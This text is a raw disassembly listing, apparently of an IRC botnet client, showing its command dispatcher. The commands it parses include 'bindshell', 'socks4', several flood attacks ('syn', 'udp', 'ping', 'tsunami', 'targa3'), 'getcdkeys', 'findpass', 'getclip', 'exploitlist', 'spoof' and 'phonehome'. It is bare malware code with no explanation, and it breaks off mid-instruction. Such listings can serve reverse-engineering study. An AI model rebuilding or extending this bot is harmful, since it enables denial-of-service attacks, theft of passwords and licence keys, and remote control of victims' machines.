sub_41B5F0 lea eax, [ebp+var_4AF0] push offset asc_42D124 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294B: ; CODE XREF: sub_401ACD+E93j push offset asc_42D124 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294B mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297D: ; CODE XREF: sub_401ACD+CB9j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409803 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409803 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FD push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FD push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404955 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404955 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404946 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404946 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493C push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493C push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404923 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404923 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404825 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404825 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404825 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404825 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471F push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471F push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B41 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CD64 loc_402B25: ; CODE XREF: sub_401ACD+10C2j ; sub_401ACD+10E8j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B385 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B41: ; CODE XREF: sub_401ACD+1043j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FD push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FD push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B91 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42CD3C jmp short loc_402B25 ; --------------------------------------------------------------------------- loc_402B91: ; CODE XREF: sub_401ACD+10ADj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BBA push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42CD20 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402BBA: ; CODE XREF: sub_401ACD+10D3j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42CD04 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402BE3: ; CODE XREF: sub_401ACD+10FCj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0C push [ebp+esi+var_8C] push 25h push offset dword_42CCF0 push offset dword_42CCE4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C0C: ; CODE XREF: sub_401ACD+1125j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C35 push [ebp+esi+var_8C] push 18h push offset dword_42CCC4 push offset dword_42CCB4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C35: ; CODE XREF: sub_401ACD+114Ej push edi push offset dword_42CCA8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5E push [ebp+esi+var_8C] push 0Dh push offset dword_42CC9C push offset dword_42CC90 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C5E: ; CODE XREF: sub_401ACD+1177j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C87 push [ebp+esi+var_8C] push 0Eh push offset dword_42CC7C push offset dword_42CC70 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402C87: ; CODE XREF: sub_401ACD+11A0j push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CB0 push [ebp+esi+var_8C] push 10h push offset dword_42CC54 push offset dword_42CC44 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402CB0: ; CODE XREF: sub_401ACD+11C9j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD9 push [ebp+esi+var_8C] push 11h push offset dword_42CC28 push offset dword_42CC18 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402CD9: ; CODE XREF: sub_401ACD+11F2j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D02 push [ebp+esi+var_8C] push 12h push offset dword_42CC00 push offset dword_42CBF4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402D02: ; CODE XREF: sub_401ACD+121Bj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E58 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42CC9C push offset dword_42CC90 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push esi push 0Eh push offset dword_42CC7C push offset dword_42CC70 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 add esp, 40h push esi push 17h push offset dword_42CBDC push offset dword_42CBD0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push esi push 16h push offset dword_42CBC4 push offset dword_42CBB8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 add esp, 40h push esi push 11h push offset dword_42CC28 push offset dword_42CC18 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push esi push 12h push offset dword_42CC00 push offset dword_42CBF4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 add esp, 40h push esi push 0Fh push offset dword_42CBA8 push offset dword_42CB98 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push esi push 13h push offset dword_42CB88 push offset dword_42CB78 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 add esp, 40h push esi push 10h push offset dword_42CC54 push offset dword_42CC44 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B385 push ebx push [ebp+var_4] push offset unk_42CB44 push [ebp+var_88] push edi call sub_409A73 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E58: ; CODE XREF: sub_401ACD+1244j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E81 push [ebp+esi+var_8C] push 0Fh push offset dword_42CBA8 push offset dword_42CB98 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402E81: ; CODE XREF: sub_401ACD+139Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EAA push [ebp+esi+var_8C] push 13h push offset dword_42CB88 push offset dword_42CB78 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402EAA: ; CODE XREF: sub_401ACD+13C3j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED3 push [ebp+esi+var_8C] push 17h push offset dword_42CBDC push offset dword_42CBD0 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402ED3: ; CODE XREF: sub_401ACD+13ECj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFC push [ebp+esi+var_8C] push 16h push offset dword_42CBC4 push offset dword_42CBB8 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402EFC: ; CODE XREF: sub_401ACD+1415j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F25 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42CAFC jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402F25: ; CODE XREF: sub_401ACD+143Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E5 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E5 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CD push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CD push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA2 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42CAAC jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FA2: ; CODE XREF: sub_401ACD+14BBj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCB push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42CA88 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FCB: ; CODE XREF: sub_401ACD+14E4j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42CA68 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_402FF4: ; CODE XREF: sub_401ACD+150Dj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B7 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B7 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458B push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458B push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404575 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404575 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404556 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404556 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404534 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404534 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EC push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EC push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D8 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D8 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A1 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A1 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031C0 call sub_418338 test eax, eax mov eax, offset unk_42C9A4 jnz short loc_403192 mov eax, offset unk_42C97C loc_403192: ; CODE XREF: sub_401ACD+16BEj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 1Ch jmp loc_4083BD ; --------------------------------------------------------------------------- loc_4031C0: ; CODE XREF: sub_401ACD+16B0j push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C2 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C2 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439F push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439F push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AC push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AC push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404293 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404293 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404259 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404259 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422E push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422E push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F4 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F4 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D1 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D1 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B3 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B3 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402B push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402B push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400E push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400E push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF5 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF5 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB6 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB6 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340B push [ebp+esi+var_8C] push 0Ah push offset dword_42C8BC push offset dword_42C8B0 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_40340B: ; CODE XREF: sub_401ACD+1924j push edi push offset dword_42C8AC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403528 cmp [ebp+var_8], ebx jnz short loc_40343F push ebx push [ebp+var_4] push offset dword_42C898 push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_40343F: ; CODE XREF: sub_401ACD+1956j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344D ; --------------------------------------------------------------------------- loc_40344A: ; CODE XREF: sub_401ACD+19CCj mov eax, [ebp+arg_18] loc_40344D: ; CODE XREF: sub_401ACD+197Bj cmp [eax], bl jz short loc_403454 inc eax jmp short loc_403459 ; --------------------------------------------------------------------------- loc_403454: ; CODE XREF: sub_401ACD+1982j mov eax, offset aEmpty ; "<Empty>" loc_403459: ; CODE XREF: sub_401ACD+1985j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_40344A push offset unk_42C864 call sub_4151AD pop ecx loc_4034A6: ; CODE XREF: sub_401ACD+1C5Bj ; sub_401ACD+2F44j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF5 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A23 lea eax, [ebp+var_2C4] push offset unk_42C830 push eax mov dword_4CEE08, ebx call sub_41B886 pop ecx pop ecx loc_4034FE: ; CODE XREF: sub_401ACD+3023j cmp [ebp+var_8], ebx jnz loc_409855 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 loc_403520: ; CODE XREF: sub_401ACD+7119j add esp, 14h jmp loc_409855 ; --------------------------------------------------------------------------- loc_403528: ; CODE XREF: sub_401ACD+194Dj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F75 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F75 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5E push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5E push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F26 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F26 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEC push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEC push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB1 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB1 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C25 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C25 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEB push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEB push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B4 lea eax, [ebp+var_2C4] push offset dword_42C788 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403693 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_403693: ; CODE XREF: sub_401ACD+1BA8j lea eax, [ebp+var_2C4] push eax call sub_4151AD mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B4: ; CODE XREF: sub_401ACD+1B90j push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E7 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E7 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403708 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2D jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403708: ; CODE XREF: sub_401ACD+1C20j push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372E push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A6 loc_40372E: ; CODE XREF: sub_401ACD+1C4Aj push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C71C lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F7 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1B push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4037D6 loc_4037C0: ; CODE XREF: sub_401ACD+1D07j cmp [ebp+var_EC8], ebx jnz loc_4083BD push 32h nop call near ptr 2680000h jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037D6: ; CODE XREF: sub_401ACD+1CF1j call near ptr 2680ABEh nop push eax push offset unk_42C6E0 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_4037E7: ; CODE XREF: sub_401ACD+1BF6j ; sub_401ACD+1C0Bj mov al, byte_431CE2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431CE2 jz loc_401E94 mov ecx, edx loc_4037FE: ; CODE XREF: sub_401ACD+1D39j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FE cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403818: ; CODE XREF: sub_401ACD+2009j push 0Bh call sub_40B33F pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403867 push ecx lea eax, [ebp+var_2C4] push offset unk_42C6A0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 20h jmp loc_403ACD ; --------------------------------------------------------------------------- loc_403867: ; CODE XREF: sub_401ACD+1D65j or [ebp+var_730], 0FFFFFFFFh cmp dword_431B00, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D8 mov edi, offset dword_431B00 loc_40389C: ; CODE XREF: sub_401ACD+1DEDj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BE inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389C jmp short loc_4038D8 ; --------------------------------------------------------------------------- loc_4038BE: ; CODE XREF: sub_401ACD+1DE3j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431B00[ecx] mov [ebp+var_74C], ecx loc_4038D8: ; CODE XREF: sub_401ACD+1DC8j ; sub_401ACD+1DEFj cmp [ebp+var_74C], ebx jz loc_403AE1 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CB5F8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB6E0 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_403980 loc_40395E: ; CODE XREF: sub_401ACD+1EB1j cmp eax, ebx jz short loc_403980 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395E loc_403980: ; CODE XREF: sub_401ACD+1E8Fj ; sub_401ACD+1E93j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D808 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E2 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E8 ; --------------------------------------------------------------------------- loc_4039E2: ; CODE XREF: sub_401ACD+1F00j mov [ebp+var_7D0], bl loc_4039E8: ; CODE XREF: sub_401ACD+1F13j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039FA mov eax, offset aSequential ; "Sequential" loc_4039FA: ; CODE XREF: sub_401ACD+1F26j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C620 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F7 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33D push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403A84 loc_403A72: ; CODE XREF: sub_401ACD+1FB5j cmp [ebp+var_71C], ebx jnz short loc_403A9F push 32h nop call near ptr 2680000h jmp short loc_403A72 ; --------------------------------------------------------------------------- loc_403A84: ; CODE XREF: sub_401ACD+1FA3j nop call near ptr 2680ABEh push eax lea eax, [ebp+var_2C4] push offset unk_42C5E4 push eax call sub_41B886 add esp, 0Ch loc_403A9F: ; CODE XREF: sub_401ACD+1FABj cmp [ebp+var_8], ebx jnz short loc_403AC0 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_403AC0: ; CODE XREF: sub_401ACD+1FD5j lea eax, [ebp+var_2C4] push eax call sub_4151AD pop ecx loc_403ACD: ; CODE XREF: sub_401ACD+1D95j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403818 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE1: ; CODE XREF: sub_401ACD+1E11j push offset unk_42C5AC jmp loc_406F05 ; --------------------------------------------------------------------------- loc_403AEB: ; CODE XREF: sub_401ACD+1B66j ; sub_401ACD+1B7Bj push 5 call sub_40B33F test eax, eax pop ecx jle short loc_403B01 push offset unk_42C58C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_403B01: ; CODE XREF: sub_401ACD+2028j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B24 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B38 ; --------------------------------------------------------------------------- loc_403B24: ; CODE XREF: sub_401ACD+203Dj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx nop call near ptr 2670000h loc_403B38: ; CODE XREF: sub_401ACD+2055j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B48 mov esi, offset byte_42910C loc_403B48: ; CODE XREF: sub_401ACD+2074j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42C558 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset byte_411797 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403C14 loc_403BFE: ; CODE XREF: sub_401ACD+2145j cmp [ebp+var_2AB4], ebx jnz loc_40828C push 32h nop call near ptr 2680000h jmp short loc_403BFE ; --------------------------------------------------------------------------- loc_403C14: ; CODE XREF: sub_401ACD+212Fj nop call near ptr 2680ABEh push eax push offset unk_42C51C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_403C25: ; CODE XREF: sub_401ACD+1B3Cj ; sub_401ACD+1B51j mov edi, 